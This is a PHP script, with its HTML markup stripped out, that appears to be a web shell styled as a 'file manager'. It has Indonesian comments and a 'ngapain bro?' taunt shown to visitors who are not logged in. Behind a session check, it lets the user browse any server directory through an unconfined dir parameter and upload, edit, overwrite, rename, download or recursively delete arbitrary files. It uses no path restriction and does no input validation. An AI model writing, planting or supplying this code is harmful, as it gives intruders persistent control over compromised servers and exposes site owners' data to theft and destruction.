ngapain bro?
";
}
}
if (!isset($_SESSION['loggedin'])) {
echo '';
exit;
}
$root_dir = realpath(__DIR__);
$current_dir = isset($_GET['dir']) ? realpath($_GET['dir']) : $root_dir;
if (!$current_dir || !is_dir($current_dir)) {
$current_dir = $root_dir;
}
function listDirectory($dir) {
$files = scandir($dir);
$directories = [];
$regular_files = [];
foreach ($files as $file) {
if ($file != "." && $file != "..") {
if (is_dir($dir . '/' . $file)) {
$directories[] = $file;
} else {
$regular_files[] = $file;
}
}
}
foreach ($directories as $directory) {
echo '';
echo '📁 ' . $directory . ' | ';
echo 'Folder | ';
echo '' . date("Y-m-d H:i:s", filemtime($dir . '/' . $directory)) . ' | '; // Menampilkan waktu terakhir diubah
echo '
Edit |
Delete |
Rename |
Download
| ';
echo '
';
}
foreach ($regular_files as $file) {
echo '';
echo '' . $file . ' | ';
echo '' . filesize($dir . '/' . $file) . ' bytes | ';
echo '' . date("Y-m-d H:i:s", filemtime($dir . '/' . $file)) . ' | '; // Menampilkan waktu terakhir diubah
echo '
Edit |
Delete |
Rename |
Download
| ';
echo '
';
}
}
if (isset($_GET['delete'])) {
$item_to_delete = $current_dir . '/' . $_GET['delete'];
if (is_file($item_to_delete)) {
unlink($item_to_delete);
} elseif (is_dir($item_to_delete)) {
function deleteDir($dir) {
$files = array_diff(scandir($dir), array('.', '..'));
foreach ($files as $file) {
$filePath = "$dir/$file";
if (is_dir($filePath)) {
deleteDir($filePath);
} else {
unlink($filePath);
}
}
rmdir($dir);
}
deleteDir($item_to_delete);
}
header("Location: ?dir=" . urlencode($_GET['dir']));
exit;
}
if (isset($_GET['download'])) {
$file_to_download = $current_dir . '/' . $_GET['download'];
if (is_file($file_to_download)) {
header('Content-Description: File Transfer');
header('Content-Type: application/octet-stream');
header('Content-Disposition: attachment; filename="' . basename($file_to_download) . '"');
header('Content-Length: ' . filesize($file_to_download));
readfile($file_to_download);
exit;
}
}
if (isset($_POST['rename_file'])) {
$old_name = $current_dir . '/' . $_POST['old_name'];
$new_name = $current_dir . '/' . $_POST['new_name'];
rename($old_name, $new_name);
header("Location: ?dir=" . urlencode($_GET['dir']));
}
if (isset($_POST['upload'])) {
$target_file = $current_dir . '/' . basename($_FILES["file"]["name"]);
move_uploaded_file($_FILES["file"]["tmp_name"], $target_file);
header("Location: ?dir=" . urlencode($_GET['dir']));
}
if (isset($_POST['save_edit'])) {
$file_to_edit = $current_dir . '/' . $_POST['file_name'];
$new_content = $_POST['file_content'];
file_put_contents($file_to_edit, $new_content);
header("Location: ?dir=" . urlencode($current_dir));
exit;
}
if (isset($_GET['edit'])) {
$file_to_edit = $current_dir . '/' . $_GET['edit'];
if (is_file($file_to_edit)) {
$file_content = file_get_contents($file_to_edit);
}
}
if (isset($_POST['create_file'])) {
$new_file_name = $_POST['new_file_name'];
$new_file_path = $current_dir . '/' . $new_file_name;
file_put_contents($new_file_path, "");
header("Location: ?dir=" . urlencode($_GET['dir']));
}
if (isset($_POST['create_folder'])) {
$new_folder_name = $_POST['new_folder_name'];
$new_folder_path = $current_dir . '/' . $new_folder_name;
mkdir($new_folder_path);
header("Location: ?dir=" . urlencode($_GET['dir']));
}
if (isset($_GET['rename'])) {
$rename_item = $_GET['rename'];
echo 'Rename: ' . htmlspecialchars($rename_item) . '
';
echo '';
}
?>
file manager
Current Directory:
Edit File:
File/Folder |
Size |
Last Modified |
Actions |